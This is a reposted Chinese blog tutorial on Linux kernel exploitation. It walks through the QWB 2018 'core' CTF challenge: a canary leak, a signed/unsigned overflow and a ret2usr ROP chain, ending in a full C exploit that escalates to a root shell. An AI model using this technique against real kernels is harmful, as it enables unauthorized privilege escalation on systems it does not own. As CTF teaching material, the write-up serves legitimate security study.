linux内核提取ret2usr,kernel pwn（0）：入门&ret2usr

转载

辛巴1995 于 2021-05-07 14:17:05 发布 151 收藏
文章标签： linux内核提取ret2usr

一、序言

从栈、格式化串，再到堆，当这些基本的攻击面都过下来以后，对于劫持流程拿shell的过程就应该非常熟悉了，然而传统的exploit拿到的shell的权限并非最高的，而kernel pwn的核心目标就是拿到一个具有root权限的shell，其意义就在于提权。

二、kernel pwn简介

1.一般背景：内核pwn的背景一般都是Linux内核模块所出现的漏洞的利用。众所周知，Linux的内核被设置成可扩展的，我们可以自己开发内核模块，如各种驱动程序；其后缀常常是ko。由于这些内核模块运行时的权限是root权限，因此我们将有机会借此拿到root权限的shell。

2.题目形式：不同于用户态的pwn，kernel pwn不再是用python远程链接打payload拿shell，而是给你一个环境包，下载后qemu本地起系统，flag文件就在这个虚拟系统里面，权限是root，因此那flag的过程也是选手在自己的环境里完成，exploit往往也是C编写。

3.流程与攻击面：内核pwn的攻击面其实仍然是用户态的那些传统攻击面，各种堆栈幺蛾子等等。流程上就是C程序exp调用内核模块利用其漏洞提权，只是提权后要“着陆”回用户态拿shell。提权代码是commit_creds(prepare_kernel_cred(0))。详解请参考ctf-wiki。

三、Linux内核模块的若干知识

1.fop结构体：

内核模块程序的结构中包括一些callback回调表，对应的函数存在一个file_operations(fop)结构体中，这也是对我们pwn手来说最重要的结构体；结构体中实现了的回调函数就会静态初始化上函数地址，而未实现的函数，值为NULL。

例如：

Events

User functions

Kernel functions

Load

insmod

module_init()

Open

fopen

file_operations: open

Close

fread

file_operations: read

Write

fwrite

file_operations: write

Close

fclose

file_operations: release

Remove

rmmod

module_exit()

#include

#include

#include

MODULE_LICENSE("Dual BSD/GPL");

static int hello_init(void)

{

printk("<1> Hello world!n");

return 0;

}

static void hello_exit(void)

{

printk("<1> Bye, cruel worldn");

}

module_init(hello_init);

module_exit(hello_exit);

struct file_operations module_fops =

{

read: module_read,

write: module_write,

open: module_open,

release: module_release

};

其中，module_init/module_exit是在载入/卸载这个驱动时自动运行；而fop结构体实现了如上四个callback，冒号右侧的函数名是由开发者自己起的，在驱动程序载入内核后，其他用户程序程序就可以借助文件方式(后面将提到)像进行系统调用一样调用这些函数实现所需功能。

完整的fop请自行百度。

2.proc_create创建文件

这个涉及Linux文件系统的一些知识，挺恶心的，有兴趣自己去看，笔者就简单咕一下。

很多内核pwn题都会用像proc_create这种函数创建一个文件，qemu起系统后在proc下可以看到对应的文件名；就从应用的角度来说，笔者认为可以这么草率地理解：相当于这个驱动给自个儿创建了一个内核中的映像，映射成了所创建的这个文件，其他用户程序在调用前面我们所说的fop中实现的函数时，就是借助声明这个文件来区分是哪个驱动的函数。

比如说一个驱动在init中执行了proc_create(“core”, 0x1B6LL, 0LL, &core_fops)，文件名是“core”，而且在回调中实现了ioctl，那么其他用户程序就可以先fopen这个core获取文件指针fd，然后执行ioctl(fd,,)来进行具体操作，其他的fop中的回调接口函数也类似。

3.数据的通信

众所周知，一个进程的在用户态和内核态是对应了完全不搭边儿的两个栈的，用户栈和内核栈既然相互隔离，在系统调用或者调用驱动、内核模块函数时就不能通过栈传参了，而要通过寄存器，像拷贝这样的操作也要借助具体的函数：copy_to_user/copy_from_user，啥意思不多说自己顾名思义。像打印这种也由prinf变成了printk，具体还有哪些自行百度吧。

四、用户态与内核态的切换

众所周知，当发生系统调用、异常或外中断时，会切入内核态，此时会保存现场如各种寄存器什么的，我们关注的是系统调用这种情形。

当发生系统调用时，进入内核态之前，首先通过swapgs指令将gs寄存器值与某个特定位置切换(显然回来的时候也一样)、然后把用户栈顶esp存到独占变量同时也将独占变量里存的内核栈顶给esp(显然回来的时候也一样)、最后push各寄存器值(由上一条知是存在内核栈里了)，这样保存现场的工作就完成了。

系统调用执行完了以后就得回用户态，首先swapgs恢复gs，然后执行iretq恢复用户空间，此处需要注意的是：iretq需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)，这些信息在哪的？就是内核栈！想想当时的push啊！

五、提权

kernel中有两个内核态函数是用来改变进程权限的：

int commit_creds(struct cred *new)

struct credprepare_kernel_cred(struct task_struct daemon)

很明显第二个将根据daemon这个权限描述符来返回一个cred结构体(用于记录进程权限)，然后commit_creds就会为进程赋上这个结构体，进程就有了对应的权限。提权代码：

commit_creds(prepare_kernel_cred(0))

六、漏洞利用

最常见的无非就是利用驱动程序或内核模块的漏洞劫持控制流执行上述提权函数，然后正确的着陆回用户态get root shell；具体的几种常见攻击手段、保护绕过等等，将在此后的文章中，借助具体的ctf pwn题目深入探讨；今天我们先借强网杯2018的core讲一下ret2usr。

七、WHT'S ret2usr?

笔者上一篇文章中讲到了内核pwn的流程，回顾一下大体上就是：利用驱动的漏洞在内核态劫持到提权代码，然后返回用户态get shell；现在我们思考，以最简单的栈溢出为例，假设我们已经得知了prepare_kernel_cred和commit_creds的地址，如何劫持到我们的提权代码呢？

既然栈上的返回地址我们可以完全控制，那么我们有两种思路：

1.通过rop(以64位为例)来执行提权代码，但是这样一来我们需要额外费些心思来在rop中配置好寄存器的参数。

2.现在我们的exp已经不再是远打的python脚本了，而已经是实实在在的C程序，也就是说，exp的代码就是和漏洞程序在一起跑的，因此我们干脆直接在exp中写个函数通过函数指针执行提权代码，溢出时直接把ret_addr踩成这个函数的地址就行了；由于这个函数是存在于用户空间的代码，因此这种攻击手段称为ret2usr。

八、强网杯2018-core解析

2018的强网杯不少内核pwn，第一道就是core，题目文件网上有，请自行下载。

0x00.文件一览：

题目文件就是这么个tar包：

tar包里面是个give_to_player目录：

里面有如下文件：

bzImage是系统镜像，core.cpio是硬盘镜像，vmlinux可以类比成用户态pwn中的libc文件，start.sh是起系统的脚本。

注意，vmlinux是未经压缩的，然而在core.cpio里面也有一个vmlinux，里面那个是起系统后真正的vmlinux，按理说这俩应该是一样的，单独拿出来是为了你方便分析，但是笔者亲测的时候发现这俩竟然不一样，可能是下载的时候弄错了？如果读者也遇到相同情况，不要用外面那个，一定要用core.cpio里面那个。

我们看一下start.sh：

qemu怎么安装就不教了网上都有；第五行最后可以看到开启了kaslr保护，也就是kernel的aslr啦。

我们看看core.cpio里面的东西：

右边那几个文件如下：

其中，core.ko就是存在漏洞的驱动程序，vmlinux刚才也说过了，gen_cpio.sh是重新打包成cpio文件的脚本，init是系统初始化脚本。

注意那个打包脚本要加命令行参数文件名，比如./gen_cpio.sh core.cpio，我们可以把exp放进去以后重新打包来调，更方便。

我们来看一下init文件：

倒数第六行的定时关机可以删去以后用gen_cpio.sh重新打包，就不会定时关机了。

0x01.逆向工程与漏洞挖掘：

好了该干活了！

丢IDA先：

这种内核pwn怎么入手分析呢？

第一步，先看init函数和fop结构体！

可见驱动文件创建于proc下的core文件，在我们的用户程序中对ioctl等驱动函数的访问就是通过core文件来进行的，后面exp中将会具体见到；再来看fops：

可以看到fop回调中只实现了如图三个回调，因此，虽然ida左侧的函数列表中还有core_read、core_copy_func但是这俩是驱动内部的函数，是不能由用户程序来调用的。

现在就知道为什么要先看init和fop了吧。

好了，可以挖洞了！

(各函数已经笔者重命名)

1.ioctl函数：

2.0x6677889B：core_read函数：

很明显，有canary保护，但是看21行那里，stack_para在栈上，然后加上个off偏移把所在位置数据拷贝给用户态变量，如果off的值我们能控制，显然就是可以泄露canary的！那off能不能控制呢？我们往下看。

3.0x6677889C：设置off：

果然全局变量off是由我们任意控制的，设置为0x40就可以泄露canary了！

4.0x6677889A：core_copy_func函数：

看长度变量a1，最上面声明为signed int，第九行有个长度值越界检查不能超过63，但是执行拷贝的第17行，a1用的类型是unsigned，很明显的漏洞，通过传负数值绕过，最终拷贝将转换成很大的一个无符号数导致栈溢出，而canary我们上面也拿到了。溢出的变量是v2，payload是从name拷贝过来，下面我们看看name在哪设置的。

5.core_write函数：

前面说了这是个被实现的fop回调，用户调用函数为write()

payload就是通过这个函数传到变量name，代码逻辑比较简单不多说。

6.漏洞利用大体流程：

至此逆向分析就差不多了，漏洞就这些，我们的大体流程也可以给出来了：

1.设置off值 2.泄露canary 3.把rop链写进name变量 4.利用无符号整型漏洞进行栈溢出写rop链

那rop链中应该写什么呢？首先有劫持到提权函数的部分，也就是利用我们的ret2usr方法了；此外rop链还要完成由内核空间向用户空间的着陆，即swapgs , iretq；这里有讲究，我们后面具体讲。

此外，记得当时看start.sh时注意到开启了kaslr保护，因此两个提权函数的地址、以及rop链中的gadget地址还要想办法泄露拿到，我们也是后面具体讲。

0x02.漏洞利用与exploit开发：

我们先给出exp:

1 #include

2 #include

3 #include

4 #include

5 #include

6 #include

7 #include

8 //1st. set off and leak canary9 //2nd. find:commit_creds() and prepare_kernel_cred()10 //3rd. save register etc11 //4th. set rop chain12 //5th. send rop chain13 //6th. root shell

14 unsigned long raw_vmlinux_base = 0xffffffff81000000;15 unsigned longvmlinux_base;16 unsigned longoffset;17 unsigned longc_c;18 unsigned longp_k_c;19 unsigned longcanary;20 unsigned long rop_chain[0x30];21 unsigned longuser_cs, user_ss, user_rflags, user_sp;22 voidget_shell() {23 system("/bin/sh");24 }25 voidfind_sym() {26 printf("be sure you have run .sh getting addr of commit_creds and prepare_kernel_cred with grep");27 printf("input addr of commit_creds:n");28 scanf("%lx",&c_c);29 printf("input addr of prepare_kernel_cred:n");30 scanf("%lx",&p_k_c);31 vmlinux_base = c_c - 0x9c8e0;32 offset = vmlinux_base -raw_vmlinux_base;33 }34 voidsave_stat() {35 asm(36 "movq %%cs, %0n"

37 "movq %%ss, %1n"

38 "movq %%rsp, %2n"

39 "pushfqn"

40 "popq %3n"

41 : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");42 }43 /*void save_stat() {44 __asm__("mov user_cs, cs;"45 "mov user_ss, ss;"46 "mov user_sp, rsp;"47 "pushf;"48 "pop user_rflags;"49);50 }*/

51 voidprivilge_escalation() {52 char* (*pkc)(int) =p_k_c;53 int (*cc)(char*) =c_c;54 (*cc)((*pkc)(0));55 }56

57 intmain() {58 find_sym();59 save_stat();60 int fd = open("/proc/core", O_RDWR);61 //set off and leak canary

62 unsigned long buf[8];//8*8=64

63 ioctl(fd, 0x6677889C,0x40);64 ioctl(fd, 0x6677889B, buf);65 canary = buf[0];66 //set rop chain

67 rop_chain[0] = 0x4141414141414141;68 rop_chain[1] = 0x4141414141414141;69 rop_chain[2] = 0x4141414141414141;70 rop_chain[3] = 0x4141414141414141;71 rop_chain[4] = 0x4141414141414141;72 rop_chain[5] = 0x4141414141414141;73 rop_chain[6] = 0x4141414141414141;74 rop_chain[7] = 0x4141414141414141;75 rop_chain[8] =canary;76 rop_chain[9] = 0x4141414141414141; //old_ebp

77 rop_chain[10] =privilge_escalation;78 rop_chain[11] = 0xffffffff81a012da + offset; //swapgs,popfq,ret

79 rop_chain[12] = 0;80 rop_chain[13] = 0xffffffff81050ac2 + offset; //iretq,ret

81 rop_chain[14] =get_shell;82 rop_chain[15] =user_cs;83 rop_chain[16] =user_rflags;84 rop_chain[17] =user_sp;85 rop_chain[18] =user_ss;86 write(fd,rop_chain,0x30*8);87 ioctl(fd,0x6677889A,0xffffffffffff0000|0x100);88 return 0;89 }

1.find_sym函数：泄露提权函数及计算vmlinux_base

回去看init脚本的第九行可知，整个内核函数表被拷贝了一份到/tmp/kallsyms，而原来的/proc/kallsyms被设置为禁读，因此我们虽然读不了原来的/proc/kallsyms了但是可以读/tmp/kallsyms；我们的C程序exp其实完全可以自己到kallsyms文件里搜索两个提权函数的地址，然而笔者懒得写了，因此采用的方法是，写个sh脚本：两行分别是grep commit_creds /tmp/kallsyms和grep prepare_kernel_cred /tmp/kallsyms，然后在find_sym执行时手动输入，当然直接C实现也很简单只是懒得写了。。。

(其实这么懒不太应该，因为从现实意义上来说，内核pwn对应的应用场景其实是病毒的提权，作为一个病毒大概没有让用户输函数地址的吧咕咕咕)

2.save_stat函数：保存用户环境

之前说过，进内核态之前做的事情：swapgs、交换栈顶、push保存各种寄存器。我们看一下push保存各寄存器时对我们最重要的几个操作：

pushq $__USER_DS /* pt_regs->ss */

pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */

pushq %r11 /* pt_regs->flags */

pushq $__USER_CS /* pt_regs->cs */

pushq %rcx /* pt_regs->ip */

这是前五个push操作，也是我们着陆时正确恢复用户环境需要关注的五个寄存器，注意这顺序是固定的，在着陆时执行的是swapgs，iretq；其中swapgs是自然没问题的，重要的是由于我们是栈溢出劫持的控制流，因此iretq恢复当初push保存的寄存器时，栈顶并不在当初的位置，这就需要我们在栈溢出的payload中构造上且要注意顺序，因此我们的这个save_stat函数正是做到了预先将这五个决定能否平安着陆的寄存器保存到用户变量里，然后在payload里按顺序部署好，最后也就保证了成功的着陆回用户空间。

注意进kernel时这五个寄存器最后做的是push保存了进之前的eip也就是用户空间的eip，我们的payload中将这个位置的值设置成get_shell函数的地址，回归以后就直接去执行get_shell了！

3.关于gadget：

这个gadget吧，恶心到笔者了，为什么呢？ctf wiki上说不要用ropgadget，跑不动，要用ropper，好的于是笔者装了ropper，结果还是跑不动，一下午跑了94%然后崩了，各位读者要是有心情自己去试试吧，可能是笔者用的是虚拟机的原因吧。。。

于是本人用了另一种“拙劣”的办法找的gadget：我们需要的是swapgs和iretq，于是…core.cpio中的vmlinux拷贝出来…丢IDA…左上角工具栏搜索指令….

搜完了以后一个一个点进去看汇编，卧槽，还真找到了gadget(当然找不到那种非对齐的指令)

上图中第四个就是可用的gadget：

对于iretq也是同样的方法，但是注意一点：一般我们的gadget都是以ret指令结尾的，然而这道题中iretq指令后面并没必要一定得有个ret，因为iretq恢复到用户空间的时候就已经包括了恢复原来的eip这一步，在这个过程中我们已经完成了eip的劫持了，直接就跳过去get_shell了，因此IDA找到的所有iretq都是可以用的(当然找到的里面也有ret结尾的而且有俩)，这一点本人已经实际验证过了。

4.privilge_escalation函数：函数指针的正确声明！

提权函数privilge_escalation()，直接(*c_c)((*p_k_c)(0))是不行的，必须进行根据函数原型进行正确的函数指针声明再通过函数指针调用，否则编译会报声明类型错误，两个函数原型ctf wiki上有前面也介绍了，那么问题来了，prepare_kernel_cred的返回值和commit_creds的参数是一个cred_entry结构体指针，而exp中给的是char*类型，既然不同为什么没有报错运行也没有出错呢？我们要关注本质，这里的返回值和参数在本质上是各指针也就是各内存地址，不管是char的指针还是cred_entry的指针在本质上没什么不一样的，都是个地址，都占8bytes，因此不会有问题。

5.关于无符号数与负数的转换：

不知道原理，网上抄的，有懂的师傅千万留个评论讲一下，太感谢了！本人尽量在下一篇文章中填上这个坑。

0x03.测试运行：

其中leak.sh就是上面提到的偷懒leak俩函数地址脚本。

此外，原题文件的flag权限感觉有问题，不是root也可以读，本人做了修改给他chmod 000了，感觉这样才是对的，只有root能读。

九、总结与心得

唉，每篇文章都免不了留坑，对不起狗粉丝。

收获还是挺大的，学到了好多Linux内核的知识。

下一篇还是同一道题，讲一下纯rop吧，因为要介绍一种保护机制。睡觉。